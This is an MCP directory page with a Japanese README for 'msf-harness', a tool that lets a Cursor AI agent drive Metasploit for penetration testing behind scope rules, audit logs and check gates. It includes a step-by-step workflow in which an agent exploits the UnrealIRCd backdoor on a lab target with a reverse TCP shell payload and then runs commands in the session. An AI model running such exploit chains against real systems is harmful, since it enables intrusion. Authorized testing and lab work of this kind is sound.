msf-harness
Metasploit Cursor Harness
Cursor AIエージェントとMetasploit FrameworkをMCP(Model Context Protocol)経由で橋渡しする、エージェント型ペネトレーションテストハーネスです。偵察、エクスプロイト、セッション管理、ポストエクスプロイト、ピボット、ペイロード生成、データベース操作にわたる54の専用ツールを通じて、構造化されスコープが強制されたMetasploit RPCへのアクセスを提供します。
明示的な交戦規則(ROE)、サーバー側ポリシー強制、監査ログ、PTES準拠のフェーズ/ゲート手法を備えた、認可されたラボおよびプロフェッショナルなペンテストワークフロー向けに構築されています。
このハーネスの利点
機能 | このハーネス | Official msfmcpd | GH05TCREW/MetasploitMCP |
ツール数 | 54 | ~23 | ~15 |
サーバー側ROE(CIDR、モジュール、セッション) | Yes | No | No |
Cursorフック(スコープゲート、リスクスコアリング、エビデンス) | 18 scripts | No | No |
PTESワークフローのフェーズ/ゲート | 7 phases, 57 skills | No | No |
コンソールファーストのエクスプロイト実行 | Yes | No | Yes |
asyncio.to_thread (非ブロッキング) | Yes | Yes | No |
ドメイン認可 | Yes (fail-closed) | No | No |
自動LHOST検出 | Yes (cross-platform) | No | No |
エクスプロイト前チェックゲート | Enforced | No | No |
監査ログ+ワールド状態 | Yes | No | No |
自己完結型ペンテストスキル | 57 skills across 5 tiers | No | No |
Related MCP server: MSFConsole MCP Server
機能
54のMCPツール:偵察、エクスプロイト、セッション、Meterpreter操作、ピボット、ペイロード、ハンドラー、ワークスペース、コンソール、データベース書き込み、ラボヘルパーをカバー
コンソールファーストのエクスプロイト:同期出力キャプチャ、セッション検出、失敗解析を備える
サーバー側ROE強制:CIDRスコープ、ドメイン認可、CIDR幅上限、セッション制限、DoSブロック、エクスプロイト前チェックゲート
18のCursorフックスクリプト:スコープ検証、リスクスコアリング(0〜100)、重複検出、エビデンスログ、ワールド状態追跡、資格情報の編集
57の自己完結型エージェントスキル:PTESワークフロー、ドメイン別プレイブック(Web、AD、クラウド、コンテナ、モバイル、バイナリ、回避、サービスレベル、脆弱性クラス)
5つの専門サブエージェント:オーケストレーター、偵察、エクスプロイト、ポストエクスプロイト、レビューアー
プラットフォームサポート
プラットフォーム | ステータス | 備考 |
Windows + WSL2 + Kali | プライマリ | フックパイプライン全体、ラボDockerサポート |
Native Linux / Kali | サポート対象 | フックには |
macOS + remote MSF | 実験的 | MCPサーバーは動作。フックには |
前提条件
Python 3.10以上
Metasploit Framework(WSL/KaliまたはネイティブLinux)
MCPサポート付きCursor IDE
フックパイプライン用のPowerShell Core(
pwsh)scope/scope-master.txtで定義された認可済みターゲット
クイックスタート
1. クローンとインストール
git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"2. 資格情報の設定
cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)3. Metasploit RPCの起動
Windows(WSL):
.\scripts\start-msfrpcd.ps1Linux / Kali(ネイティブ):
./scripts/start-msfrpcd.sh4. CursorでMCPを有効化
cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project pathCursorの設定 > MCPでmsf-harnessをオンにします。
5. セットアップの確認
python scripts/doctor.py # Check all prerequisites
python scripts/validate-mcp.py # Test RPC connectivityその後、Cursorチャットでmsf_statusを実行してMCP接続を確認します。
6. ラボターゲット(オプション)
組み込みのMetasploitable2 Dockerラボについては、docs/LAB.mdを参照してください。
HackTheBox、TryHackMe、OSCP、または独自のターゲットについては、docs/BYO-TARGETS.mdを参照してください。
詳細なセットアップ手順については、docs/SETUP.mdを参照してください。
または、ワンコマンドのブートストラップを実行します:
.\scripts\bootstrap.ps1最初のエクスプロイト
セットアップが完了し、Cursorチャットでmsf_statusが動作したら、Dockerラボに対してこのエンドツーエンドのデモを試してください。
1. ラボターゲットを起動します:
.\scripts\start-lab-targets.ps12. Cursorチャットで、エージェントにラボのエクスプロイトを依頼します:
10.255.255.254のポート9667でラボターゲットをスキャンし、エンゲージメントlab-defaultを使用してUnrealIRCdバックドアをエクスプロイトします。
エージェントは次のことを行います:
msf_module_checkを実行して、ターゲットが脆弱であることを確認します(ROEで必須)msf_get_lab_networkを呼び出してLHOSTを自動検出しますexploit/unix/irc/unreal_ircd_3281_backdoorを使用してmsf_run_exploitを実行しますmsf_list_active_sessionsを呼び出してシェルを確認しますmsf_send_session_commandを使用してターゲット上でコマンドを実行します
または、個々のMCPツール呼び出しでステップバイステップで実行します:
msf_status # Verify RPC connection
msf_get_lab_network # Get LHOST and port map
msf_module_check(...) # Probe for vulnerability
msf_run_exploit(...) # Pop a shell
msf_send_session_command(command="id") # Run commands on target完全なポートマップとエクスプロイト固有の注意事項については、docs/LAB.mdを参照してください。
アーキテクチャ
Cursor Agent
|-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
|-- Skills (.cursor/skills/: 57 pentest playbooks)
|-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
|-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
|
v
msf-harness MCP Server (Python, FastMCP, stdio transport)
|-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
|-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
|-- Policy/ROE (server-side CIDR, domain, module, session validation)
|-- Console engine (synchronous module execution with output capture)
|
v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
|
v
msfdb (PostgreSQL)MCPツール(全54)
読み取り専用(engagement_id不要)
ツール | 目的 |
| RPC接続、バージョン、セッション数を確認 |
| キーワード、CVE、または名前でモジュールを検索 |
| モジュールのオプション、ターゲット、リファレンス、ランク |
| モジュールの設定可能なオプションを取得 |
| 現在実行中のモジュールの統計を取得 |
| タイプ別にモジュールを一覧表示(オプションのフィルター付き) |
| msfdbから発見されたホストを照会 |
| 発見されたサービス(ポート、プロトコル)を照会 |
| 脆弱性レコードを照会 |
| 注釈/メモを照会 |
| 収集された資格情報を照会 |
| 収集された戦利品/ファイルを照会 |
| 現在のセッションをタイプとターゲット付きで一覧表示 |
| 単一セッションの詳細情報を取得 |
| アクティブなハンドラー/バックグラウンドジョブを一覧表示 |
| 特定のジョブの詳細を取得 |
| 名前/プラットフォーム/アーキテクチャで利用可能なペイロードを検索 |
| 指定されたモジュールと互換性のあるペイロードを一覧表示 |
| データベースワークスペースを一覧表示 |
| データベース接続とドライバー情報を確認 |
| アクティブなRPCコンソールインスタンスを一覧表示 |
| ラボターゲット設定を取得(Dockerポート、LHOST) |
| セッションピボット用のアクティブなルートを一覧表示 |
アクション(engagement_id必須)
ツール | 目的 |
| 安全な脆弱性プローブ(非エクスプロイト) |
| UUIDによる非同期モジュールジョブの結果を照会 |
| エクスプロイトモジュールを実行(コンソールまたはRPCジョブモード、タイムアウト設定可能) |
| 補助モジュールを実行(スキャナー、ファザー、オプションのコンソールモード) |
| セッション上でポストエクスプロイトモジュールを実行(オプションのコンソールモード) |
| アクティブなシェル/Meterpreterでコマンドを実行 |
| セッションを終了 |
| エクスプロイト/ハンドラー後に新しいセッションをポーリング |
| シェルをMeterpreterにアップグレード |
| MeterpreterセッションからOS/アーキテクチャ/ホスト名を取得 |
| Meterpreterセッションから現在のユーザーIDを取得 |
| Meterpreterセッション内の実行中プロセスを一覧表示 |
| ターゲットからevidence/にファイルをダウンロード |
| evidence/からターゲットにファイルをアップロード(サンドボックス化) |
| セッション内でMeterpreterスクリプトを実行 |
| multi/handlerリスナーを起動 |
| バックグラウンドジョブを停止 |
| ポートを解放するためにすべてのバックグラウンドジョブを停止 |
| ペイロードファイルを生成(evidence/に保存) |
| データベースワークスペースを作成 |
| アクティブなワークスペースを切り替え |
| データベースワークスペースを削除 |
| スキャンデータをインポート(nmap XML、Nessusなど) |
| nmapを実行し、結果を自動インポート |
| RPC経由で任意のmsfconsoleコマンドを実行 |
| ピボット用にセッション経由のルートを追加 |
| ルートを削除 |
| post/multi/manage/autorouteを使用してルートを自動追加 |
| ホストを手動でデータベースに報告 |
| 発見された資格情報をデータベースに保存 |
| データベースにメモ/注釈を追加 |
ワークフロー例
# 1. Verify connection
msf_status()
# 2. Scan target ports
msf_run_auxiliary_module(
engagement_id="lab-default",
module_name="auxiliary/scanner/portscan/tcp",
options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)
# 3. Check what's open
msf_service_info(host="10.255.255.254")
# 4. Check before exploit (required by ROE)
msf_module_check(
engagement_id="lab-default",
module_type="exploit",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)
# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
engagement_id="lab-default",
module_name="unix/irc/unreal_ircd_3281_backdoor",
options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
payload="generic/shell_reverse_tcp",
payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
run_check_first=True
)セーフティモデル
サーバーサイドROE (
msf_harness/mcp/policy/roe.py): エンゲージメントCIDRに対するターゲットの検証、禁止モジュールのブロック、セッション上限の強制、CIDRスキャン幅の上限、エクスプロイト前チェックの要求、ドメインの検証(フェイルクローズ)を行います。Cursorフック (
.cursor/hooks/): すべてのシェルコマンドとMCP呼び出しに対するスコープゲート、リスクスコアリング(0〜100、CRITICALエスカレーションあり)、重複検出、logs/command-ledger.jsonlへの監査ログ、エビデンスの自動保存、資格情報の編集コンソールコマンド解析:
msf_console_executeは生コマンドからRHOSTS、モジュールパス、db_nmapターゲットを抽出して検証します。ファイルパス制限:
msf_db_importとmsf_generate_payloadはevidence/およびengagements/ディレクトリに制限されます。DoSモジュール (
auxiliary/dos/*) は無条件にブロックされます。入力サニタイズ: nmap引数は許可リストに登録され、オプションキーは検証され、コンソール値はクォートエスケープされます。
許可を得たシステムでのみ使用してください。
トラブルシューティング
症状 | 修正 |
|
|
MCPサーバーがCursorに表示されない |
|
"MSF_PASSWORDが設定されていません" |
|
"Target not in scope"またはROE拒否 | ターゲットのIP/CIDRを |
モジュールチェックが「not supported」で失敗する | 一部のモジュールには |
エクスプロイト後にセッションがない | LHOSTが正しいことを確認し( |
Cursor出力のフックエラー |
|
Pythonインポートエラー | プロジェクトルートから |
完全な前提条件のヘルスチェックにはpython scripts/doctor.pyを実行してください。
開発
pip install -e ".[mcp,dev]"
python -m pytest tests/ -v # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1 # 120 hook tests
python scripts/validate-mcp.py # RPC connectivity開発セットアップとPRガイドラインについてはCONTRIBUTING.mdを参照してください。
ディレクトリ構造
パス | 目的 |
| Python MCPサーバーパッケージ |
| MCPツール実装(12モジュール、54ツール) |
| 自動再接続付きMetasploit RPCクライアント |
| ROE強制(CIDR、ドメイン、モジュール、セッション、エクスプロイトゲート) |
| 許可されたターゲットCIDRとドメイン |
| エンゲージメントごとのROE設定とワークフロー状態 |
| キャプチャされたエビデンス(gitignore対象) |
| フック監査ログとコマンド台帳(gitignore対象) |
| PowerShell Coreセーフティゲート(18スクリプト) |
| エージェントワークフロープレイブック(57スキル) |
| カスタムサブエージェント定義(5エージェント) |
| 常時有効なエージェントガイダンス(3ルール+AGENTS.md) |
| ユーティリティスクリプト(RPC起動、エンゲージメント作成、ヘルスチェック、MCP検証) |
| Pytestおよびフックテストスイート |
| セットアップガイド、ラボガイド、BYOターゲットガイド |
ライセンス
謝辞
Rapid7 Metasploit Framework および公式
msfmcpdコンソール実行パターンについてGH05TCREW/MetasploitMCP
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.14Apache 2.0
- AlicenseNot gradedqualityDmaintenanceEnables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.8MIT
- -licenseNot gradedqualityNot gradedmaintenanceEnables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.2
- AlicenseBqualityDmaintenanceEnables interaction with Metasploit Framework for authorized security testing, including exploit searches, payload management, network scanning with nmap, and database operations for penetration testing workflows.9MIT
Related MCP Connectors
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Free public MCP for AI agents — 193 tools, 44 workflows. No API key.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'
If you have feedback or need assistance with the MCP directory API, please join our Discord server